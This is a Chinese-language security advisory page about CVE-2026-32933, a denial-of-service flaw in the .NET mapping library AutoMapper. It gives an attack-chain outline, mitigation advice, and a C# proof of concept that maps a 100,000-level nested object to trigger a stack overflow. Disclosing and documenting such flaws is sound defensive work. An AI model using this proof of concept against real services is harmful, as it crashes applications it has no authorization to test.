IPBUF安全漏洞报告
English
CVE-2026-32933 CVSS 7.5 高危

CVE-2026-32933 AutoMapper拒绝服务漏洞

披露日期: 2026-03-20

漏洞信息

漏洞编号
CVE-2026-32933
漏洞类型
拒绝服务
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
AutoMapper

相关标签

DoSStack OverflowAutoMapper.NETGHSA-rvv3-g6hj-g44x

漏洞概述

AutoMapper是.NET平台中一个流行的基于约定的对象-对象映射库。在15.1.1和16.1.1之前的版本中存在一个高危拒绝服务漏洞。该漏洞源于库在处理深度嵌套的对象图时,使用递归方法调用而未强制执行默认的最大深度限制。攻击者可以通过提供特制的深度嵌套对象图,耗尽线程的堆栈内存,从而触发StackOverflowException。这会导致整个应用程序进程意外终止,严重影响服务可用性。官方已在15.1.1和16.1.1版本中修复了此问题。

技术细节

该漏洞的技术核心在于AutoMapper在处理对象映射时缺乏对递归深度的有效控制。当库尝试将一个深度嵌套的源对象映射到目标对象时,它会递归地遍历对象树。由于没有内置的递归深度检查机制,攻击者可以构造一个包含极深层级嵌套属性的恶意对象图。一旦应用程序尝试调用Map方法处理此恶意输入,递归调用将无限制地深入,直至消耗完分配给该线程的所有堆栈空间。在.NET环境中,StackOverflowException通常无法在进程内被捕获或恢复,导致宿主进程强制崩溃。由于攻击向量为网络(AV:N)且无需用户交互(UI:N),远程攻击者只需向暴露的接口发送包含恶意数据的请求即可实施攻击。

攻击链分析

STEP 1
侦察
攻击者识别目标应用程序使用了AutoMapper库,且版本低于15.1.1或16.1.1。
STEP 2
武器化
攻击者构造一个包含极深层级嵌套属性的恶意对象数据(如深度嵌套的JSON或XML)。
STEP 3
交付
攻击者通过网络将包含恶意对象数据的请求发送到目标应用程序的接口。
STEP 4
利用
应用程序接收到数据后调用AutoMapper进行映射,由于缺乏深度限制,递归调用耗尽线程栈内存。
STEP 5
影响
触发StackOverflowException,导致应用程序进程崩溃,造成拒绝服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
using AutoMapper; using System; namespace PoC_CVE_2026_32933 { // Define a nested class structure public class NestedModel { public NestedModel Child { get; set; } public string Data { get; set; } } public class NestedDto { public NestedDto Child { get; set; } public string Data { get; set; } } class Program { static void Main(string[] args) { // Configure AutoMapper (Vulnerable version < 15.1.1) var config = new MapperConfiguration(cfg => { cfg.CreateMap<NestedModel, NestedDto>(); }); var mapper = config.CreateMapper(); // Construct a deeply nested object graph to trigger StackOverflow var root = new NestedModel { Data = "Root" }; var current = root; int depth = 100000; // Depth sufficient to exhaust stack Console.WriteLine($"Building object graph with depth: {depth}..."); for (int i = 0; i < depth; i++) { current.Child = new NestedModel { Data = $"Level {i}" }; current = current.Child; } try { Console.WriteLine("Attempting to map..."); // This recursive call will trigger StackOverflowException var result = mapper.Map<NestedDto>(root); Console.WriteLine("Mapping completed (unexpected)."); } catch (Exception ex) { Console.WriteLine($"Exception caught: {ex.GetType().Name}"); Console.WriteLine($"Message: {ex.Message}"); } } } }

影响范围

AutoMapper < 15.1.1
AutoMapper < 16.1.1

防御指南

临时缓解措施
如果无法立即升级,建议在应用层面对输入数据进行严格验证,限制对象结构的最大嵌套深度,或实施输入清洗机制以拒绝处理异常复杂的数据结构。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表